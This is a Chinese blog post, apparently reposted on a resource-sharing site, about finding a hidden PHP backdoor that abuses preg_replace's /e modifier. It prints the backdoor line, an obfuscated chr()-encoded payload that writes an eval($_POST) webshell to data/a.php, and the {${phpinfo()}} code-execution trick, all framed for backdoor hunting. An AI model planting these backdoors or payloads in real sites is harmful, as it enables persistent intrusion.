也想出现在这里? 联系我们

记一次发现利用preg_replace隐藏后门和后续探究

作者 : 小编 本文共1996个字,预计阅读时间需要5分钟 发布时间: 2021-06-12 共5.13K人阅读
也想出现在这里? 联系我们

事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。哈哈,遇到小黑蛮细心的。然后通过分析发现,小黑的访问的文件发现代码:@preg_replace(“//e”,$_POST[\’IN_COMSENZ\’],”Access Denied”); 如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。preg_replace函数原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])特别说明:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。举例: echo preg_replace(“/test/e”,$_GET["h"],”jutst test”); 如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。如果我们要POST的话,我们测试提交下面的代码会怎么样呢?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) 密文对应的明文是:fputs(fopen(data/a.php,w),);执行的结果是在/data/目录下生成一个一句话木马文件 a.php。这个就恐怖了吧。。。。再来一个有难度的例子:

复制代码

代码如下:

<? function test($str) { } echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\\1″)’, $_GET[\”h\”]); ?>

提交 ?h=phpinfo() ,phpinfo()会被执行吗?肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。有没有办法让它执行呢?当然有。在这里我们如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换。在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。可以先做如下测试:echo “{${phpinfo()}}”; phpinfo会被成功执行了。所以,各位查找后门的时候注意查找下。OK,说了那么多,也了解了,以上我给的代码: @preg_replace(“//e”,$_POST[\’IN_COMSENZ\’],”Access Denied”); 看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊。哈哈。希望对大家有帮助作者:合肥制造

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 记一次发现利用preg_replace隐藏后门和后续探究

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录